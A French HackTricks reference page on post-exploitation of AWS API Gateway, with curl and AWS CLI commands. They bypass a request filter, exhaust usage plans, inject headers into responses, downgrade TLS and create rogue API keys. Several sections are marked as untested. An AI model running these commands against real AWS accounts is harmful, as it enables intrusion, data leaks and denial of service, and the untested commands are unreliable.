AWS - API Gateway Post Exploitation

Soutenez HackTricks

API Gateway

Pour plus d'informations, consultez :

AWS - API Gateway Enum

Accéder aux APIs non exposées

Vous pouvez créer un endpoint dans https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint avec le service com.amazonaws.us-east-1.execute-api, exposer l'endpoint dans un réseau où vous avez accès (potentiellement via une machine EC2) et assigner un groupe de sécurité permettant toutes les connexions. Ensuite, depuis la machine EC2, vous pourrez accéder à l'endpoint et donc appeler l'API gateway qui n'était pas exposée auparavant.

Contourner le passage du corps de la requête

Cette technique a été trouvée dans ce writeup de CTF.

Comme indiqué dans la documentation AWS dans la section PassthroughBehavior, par défaut, la valeur WHEN_NO_MATCH, lors de la vérification de l'en-tête Content-Type de la requête, passera la requête au back end sans transformation.

Par conséquent, dans le CTF, l'API Gateway avait un modèle d'intégration qui empêchait l'exfiltration du drapeau dans une réponse lorsqu'une requête était envoyée avec Content-Type: application/json :

RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

Cependant, envoyer une requête avec Content-type: text/json empêcherait ce filtre.

Enfin, comme l'API Gateway ne permettait que Get et Options, il était possible d'envoyer une requête dynamoDB arbitraire sans aucune limite en envoyant une requête POST avec la requête dans le corps et en utilisant l'en-tête X-HTTP-Method-Override: GET :

curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

Dans la section Enumeration, vous pouvez voir comment obtenir le plan d'utilisation des clés. Si vous avez la clé et qu'elle est limitée à X utilisations par mois, vous pourriez simplement l'utiliser et provoquer un DoS.

La clé API doit simplement être incluse dans un en-tête HTTP appelé x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Un attaquant avec les permissions apigateway:UpdateGatewayResponse et apigateway:CreateDeployment peut modifier une réponse de passerelle existante pour inclure des en-têtes personnalisés ou des modèles de réponse qui divulguent des informations sensibles ou exécutent des scripts malveillants.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact Potentiel: Fuite d'informations sensibles, exécution de scripts malveillants ou accès non autorisé aux ressources de l'API.

Besoin de test

apigateway:UpdateStage, apigateway:CreateDeployment

Un attaquant avec les permissions apigateway:UpdateStage et apigateway:CreateDeployment peut modifier une étape existante de l'API Gateway pour rediriger le trafic vers une autre étape ou changer les paramètres de mise en cache pour obtenir un accès non autorisé aux données mises en cache.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact Potentiel: Accès non autorisé aux données mises en cache, perturbation ou interception du trafic API.

Besoin de tests

apigateway:PutMethodResponse, apigateway:CreateDeployment

Un attaquant avec les permissions apigateway:PutMethodResponse et apigateway:CreateDeployment peut modifier la réponse de méthode d'une méthode API Gateway REST API existante pour inclure des en-têtes personnalisés ou des modèles de réponse qui divulguent des informations sensibles ou exécutent des scripts malveillants.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact Potentiel: Fuite d'informations sensibles, exécution de scripts malveillants ou accès non autorisé aux ressources de l'API.

Besoin de tests

apigateway:UpdateRestApi, apigateway:CreateDeployment

Un attaquant avec les permissions apigateway:UpdateRestApi et apigateway:CreateDeployment peut modifier les paramètres de l'API Gateway REST API pour désactiver la journalisation ou changer la version minimale de TLS, ce qui peut potentiellement affaiblir la sécurité de l'API.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact Potentiel : Affaiblissement de la sécurité de l'API, pouvant potentiellement permettre un accès non autorisé ou exposer des informations sensibles.

Besoin de tests

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Un attaquant avec les permissions apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, et apigateway:CreateUsagePlanKey peut créer de nouvelles clés API, les associer à des plans d'utilisation, puis utiliser ces clés pour un accès non autorisé aux APIs.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Impact Potentiel: Accès non autorisé aux ressources API, contournant les contrôles de sécurité.

Besoin de tests

Soutenez HackTricks

Last updated